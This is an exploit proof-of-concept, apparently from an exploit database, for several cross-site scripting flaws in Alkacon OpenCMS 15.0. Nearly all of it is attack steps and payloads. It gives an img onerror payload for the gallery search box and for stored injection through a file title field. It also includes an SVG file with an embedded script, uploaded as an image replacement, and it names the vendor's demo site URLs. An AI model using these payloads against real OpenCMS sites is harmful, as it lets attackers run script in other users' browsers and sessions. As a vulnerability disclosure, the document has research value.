Alkacon OpenCMS 15.0 Cross Site Scripting

`# Exploit Title: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting  
# Date: 1/07/2023  
# Exploit Author: tmrswrr  
# Vendor Homepage: http://www.opencms.org  
# Software Link: https://github.com/alkacon/opencms-core  
# Version: v15.0  
  
  
POC:  
  
1 ) Login in demo page , go to this url  
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/.galleries/livedemo/!!  
2 ) Click /.galleries/ , after right click any png file , open gallery, write in search button this payload  
<img src=. onerror=alert(document.domain)>  
3 ) You will be see alert box  
  
POC:  
  
1 ) Go to this url , right click any png file, rename title section and write your payload : <img src=. onerror=alert(document.domain)>  
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/230701/ld_go87op3bfy/.galleries/images/!!  
2 ) You will be see alert box , stored xss   
  
POC:  
  
1 ) Go to this url , right click any png file and choose replace , click change file and choose your svg file  
after save it   
  
svg file:  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert("XSS");  
</script>  
</svg>  
  
2 ) When click this svg file you will be see alert button  
  
  
`